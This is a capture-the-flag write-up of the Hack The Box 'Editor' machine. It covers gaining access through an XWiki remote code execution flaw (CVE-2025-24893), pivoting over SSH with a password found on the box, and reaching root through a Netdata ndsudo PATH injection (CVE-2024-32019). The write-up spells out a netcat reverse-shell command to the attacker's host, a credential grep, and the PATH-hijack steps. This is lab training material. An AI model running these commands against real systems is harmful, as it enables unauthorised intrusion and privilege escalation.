Editor CTF Writeup - Hack The Box

Editor Cover

1. Box Overview

Editor from Hack The Box was an engaging challenge that tested my skills in network enumeration, web exploration, vulnerability research, remote code execution, credential discovery, and privilege escalation. The box involved exploiting a vulnerable XWiki instance for initial access via RCE, discovering credentials to pivot to a user account via SSH, and escalating to root by leveraging a PATH injection vulnerability in Netdata. It was a great mix of real-world pentesting techniques, emphasizing the importance of OSINT, careful exploit usage, and thorough enumeration.

2. Resources Used

Here are the resources that guided me through this challenge:

3. My Approach to Pwning Editor

Here’s a step-by-step breakdown of how I tackled the Editor box, from initial reconnaissance to capturing both flags.

Starting with Nmap Recon

I began with an Nmap scan to identify open ports and services. This revealed open ports, including likely port 80 or 8080 for the web server.

Nmap scan results

Adding Domain to /etc/hosts

To resolve the domain to the target's IP in the web browser, I added an entry to /etc/hosts.

hosts

Exploring the Web Server

Navigating to the web server, I found a page hosting a code editor for download.

Web server page

Discovering XWiki Documentation

Further exploration revealed that the docs page was hosted on XWiki. At the bottom of the page, the version was displayed: 15.10.8.

XWiki version XWiki version

OSINT on XWiki Version

Performing OSINT on XWiki 15.10.8, I discovered it was vulnerable to remote code execution via CVE-2025-24893. This vulnerability allows any guest user to execute arbitrary code remotely through the SolrSearch endpoint, potentially leading to full server compromise.

OSINT OSINT

Finding and Examining PoC for CVE-2025-24893

I searched for a proof-of-concept and found one at https://github.com/gunzf0x/CVE-2025-24893. I copied the PoC into a .py file on my system using vim and examined the code before execution (always inspect code from external sources).

user PoC

Setting Up a Listener and Executing the Exploit

I set up a listener to catch the reverse shell. Then, I executed the PoC with the target URL and a reverse shell command: python3 CVE-2025-24893.py -t 'http://10.10.11.80:8080' -c 'busybox nc 10.10.14.177 7777 -e /bin/bash'.

nc user PoC

Upgrading the Shell

Once the reverse shell connected, I upgraded it for better interactivity.

upgrade shell

User Enumeration

As the webapp user, I performed basic discovery to identify other users on the system and found the user 'oliver'.

enum

Searching for Passwords

I searched for passwords in accessible files using grep -iR "pass" 2>/dev/null. This noisy method revealed potential passwords, and one ('theEd1t0rTeam99') worked for oliver.

user pwd

SSH as Oliver and Capturing User Flag

Using the credentials (oliver:theEd1t0rTeam99), I SSH'd into the box and captured the user flag.

ssh

Privilege Escalation Enumeration

I started enumerating for privilege escalation avenues. Notably, the user was in the 'netdata' group.

id

Identifying SUID Binaries

Using find / -user root -perm -4000 -print 2>/dev/null, I found non-standard SUID binaries in the Netdata directory.

suid

Researching Netdata Vulnerabilities

Researching Netdata revealed vulnerabilities, particularly a PATH injection issue in ndsudo (CVE-2024-32019), where it references 'nvme' without an absolute path. I found a PoC at https://github.com/AzureADTrent/CVE-2024-32019-POC.

root PoC

Creating and Transferring the Malicious Binary

Following the PoC, I created a C binary ('nvme') that sets UID and GID to 0 and spawns /bin/bash. I transferred it to the target via SCP using oliver's credentials.

root PoC root PoC root PoC

Preparing and Executing the Exploit

On the target, I made it executable: chmod +x /tmp/nvme, added to PATH: export PATH=/tmp:$PATH, and executed the ndsudo binary, which found my malicious nvme first, spawning a root shell.

exec root PoC exec root PoC exec root PoC

4. Remediation of Vulnerabilities

Here’s how to remediate the key vulnerabilities exploited in this challenge:

5. Lessons Learned and Tips

Here’s what I took away from the Editor box:

6. Conclusion

Completed badge

Editor was a rewarding HTB challenge that honed my skills in vulnerability exploitation, credential pivoting, and privilege escalation. From exploiting an XWiki RCE to leveraging a Netdata PATH injection for root, each step provided valuable insights. The combination of web app and Linux priv esc techniques made it particularly educational, and I'm eager to tackle more boxes like this!

7. Additional Notes